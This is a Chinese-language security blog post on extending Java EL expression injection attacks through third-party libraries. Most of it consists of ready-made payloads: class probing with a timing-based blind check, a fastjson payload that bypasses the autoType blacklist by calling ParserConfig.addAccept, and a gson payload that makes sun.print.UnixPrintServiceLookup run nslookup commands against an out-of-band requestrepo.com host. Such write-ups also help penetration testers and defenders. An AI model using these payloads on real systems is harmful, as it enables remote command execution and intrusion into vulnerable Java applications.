Java表达式注入下的拓展攻击面

0x00 前言

在实际使用中,我们会思考攻击面是否仅限于 "runtime exec" 和 "执行js" 这两种方式。如果对这两种利用方式进行过滤,我们应该如何应对呢?在真实的项目环境中,会存在许多依赖项,我们可以通过这些依赖项来扩大攻击面,例如常见的第三方依赖库fastjson、gson等。

0x01 依赖探测

这一部分其实非常的简单,我们可以尝试通过类名获取一个类来进行判断,例如如下payload

${''.getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader")}

如果这个类存在会显示出该类的类名

92400-kwwkrktkof.png

如果在无回显的情况下进行探测也十分的简单,el表达式中并不支持捕获异常,如果使用上述payload探测不存在类则会抛出异常导致表达式解析中止,按照这个思路我们可以构造出延时payload来进行探测。

${''.getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader");Thread.sleep(5000)}

假如这个类在环境中存在则会按照顺序执行到Thread.sleep(5000) 出现延时,如果类不存在则会抛出异常后续的语句不会执行则不会延时。这样就实现了探测依赖的功能。

0x02 攻击面拓展

1. fastjson

fastjson和js的利用较为类似,通过解析字符串来实现一些el表达式无法实现的功能,这里可以调用fastjson的com.alibaba.fastjson.JSON#parse() 方法解析json字符串。

在这个目标的基础上我们需要用反射实例化JSON类再调用parse方法:

${"".getClass().forName('com.alibaba.fastjson.JSON').getMethod("parse","".getClass()).invoke("".getClass().forName('com.alibaba.fastjson.JSONObject').newInstance(),'{"@type":"sun.print.UnixPrintServiceLookup"}')}

如果fastjson版本过高的话还需要进行bypass黑名单的处理,再寻找如何开启autoType的时候发现了一个有意思的方法:

49915-qdw2z9zta0a.png

位于com.alibaba.fastjson.parser.ParserConfig类的addAccept方法,它的作用是向一个已排序的long数组acceptHashCodes中添加一个新元素,如果该元素的哈希值已经存在于数组中,则不会添加。
acceptHashCodes 正是白名单Hash,fastjson对黑名单的处理就是一长串的Hash列表,我们将需要的类添加进白名单列表即可绕过autoType需求。

84911-axdfqtkk205.png

fastjson 黑名单

我们需要使用EL表达构造反射代码将需要使用的类添加进白名单列表:

${"".getClass().forName('com.alibaba.fastjson.parser.ParserConfig').getMethod("addAccept","".getClass()).invoke("".getClass().forName('com.alibaba.fastjson.parser.ParserConfig').newInstance(),'sun.print.UnixPrintServiceLookup')}

并且该处需要将该parserConfig传递到parse方法中,构造出最终payload:

${"".getClass().forName('com.alibaba.fastjson.JSON').getMethod("parse","".getClass(),"".getClass().forName('com.alibaba.fastjson.parser.ParserConfig')).invoke("".getClass().forName('com.alibaba.fastjson.JSONObject').newInstance(),'{"@type":"sun.print.UnixPrintServiceLookup"}',"".getClass().forName('com.alibaba.fastjson.parser.ParserConfig').getMethod("addAccept","".getClass()).invoke("".getClass().forName('com.alibaba.fastjson.parser.ParserConfig').newInstance(),'sun.print.UnixPrintServiceLookup'))}

这样在反序列化时即可无需开启AutoType就能进行利用

2. gson

gson 相对于fastjson就简单很多,需要Gson.fromJson转换类型可控即可利用,根据这点即可编写出可利用payload:

${"".getClass().forName('com.google.gson.Gson').getMethod("fromJson",''.getClass(),''.getClass().forName('java.lang.Class')).invoke("".getClass().forName('com.google.gson.Gson').newInstance(),'{"lpcFirstCom":["nslookup your.data.here.goqgoh86.requestrepo.com","nslookup your.data.here.goqgoh86.requestrepo.com","nslookup your.data.here.goqgoh86.requestrepo.com"]}',"".getClass().forName('sun.print.UnixPrintServiceLookup'))}

UnixPrintServiceLookup该类只在linux中存在,测试时请注意环境。

3. 其他可利用链

可能有人会对上述两条payload产生疑问,这两条payload都可以通过链式调用一次性写出。如果不可以这样做,那是不是就无法利用了呢?实际上并非如此,el表达式支持定义变量,定义的变量可以继续调用方法。有了这个特性,我们可以继续扩展各种利用方法,具体的细节在这里就不再阐述了。

${obj = ''.getClass().forName("java.lang.Object"); obj.newInstance()}

0x03 结语

这篇文章起源于实战中碰到的问题,总的来说是炒旧饭并没有特别大的参考意义,但希望可以给各位师傅在实战中提供一点点思路。如果有任何个人见解不当之处,请各位师傅指出。

添加新评论

文章状态:已收录~